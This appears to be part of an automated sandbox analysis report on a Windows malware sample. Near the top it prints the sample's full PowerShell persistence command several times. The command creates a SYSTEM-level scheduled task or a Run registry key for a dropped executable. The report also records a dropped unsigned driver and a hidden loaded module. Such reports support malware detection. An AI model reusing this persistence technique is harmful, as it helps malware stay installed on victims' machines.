Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }	Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }	Jump to behavior

Source: ahlntQUj2t.exe	Static PE information: section name: .xdata
Source: xjfgcnhmcvxy.exe.0.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624CC8146 push rbx; retf	0_2_00007FF624CC8147
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB2FD2A5 pushad ; iretd	7_2_00007FFAAB2FD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB4183CD push ebx; retf 0009h	7_2_00007FFAAB4183CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB41832A push ebx; retf 0009h	7_2_00007FFAAB4183CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417DDD push ebx; retf 0009h	7_2_00007FFAAB417DAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB410D20 push eax; retf	7_2_00007FFAAB410D4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417D28 push ebx; retf 0009h	7_2_00007FFAAB417D4A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB4108CD push E95B7C1Ch; ret	7_2_00007FFAAB410909
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417D7D push ebx; retf 0009h	7_2_00007FFAAB417D4A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417D7D push ebx; retf 0009h	7_2_00007FFAAB417DAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417DAD push ebx; retf 0009h	7_2_00007FFAAB417DDA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417967 push esp; retf	7_2_00007FFAAB417968
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFAAB417D68 push ebx; retf 0009h	7_2_00007FFAAB417D7A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFAAB422A94 push eax; ret	13_2_00007FFAAB422A59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFAAB4229A5 push eax; ret	13_2_00007FFAAB422A59
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 16_2_00007FF723678146 push rbx; retf	16_2_00007FF723678147

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Program Files\xjfgcnhmcvxy.exe

File created: C:\Program Files\Google\Libs\WR64.sys

Jump to behavior

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	File created: C:\Program Files\xjfgcnhmcvxy.exe	Jump to dropped file
Source: C:\Program Files\xjfgcnhmcvxy.exe	File created: C:\Program Files\Google\Libs\WR64.sys	Jump to dropped file
Source: C:\Program Files\xjfgcnhmcvxy.exe	File created: C:\Windows\Temp\tkfgvduf.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\ahlntQUj2t.exe

File created: C:\Program Files\xjfgcnhmcvxy.exe

Jump to dropped file

Source: C:\Program Files\xjfgcnhmcvxy.exe

File created: C:\Windows\Temp\tkfgvduf.tmp

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Program Files\xjfgcnhmcvxy.exe	Module Loaded: C:\WINDOWS\TEMP\TKFGVDUF.TMP
Source: C:\Program Files\xjfgcnhmcvxy.exe	Module Loaded: C:\WINDOWS\TEMP\TKFGVDUF.TMP

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
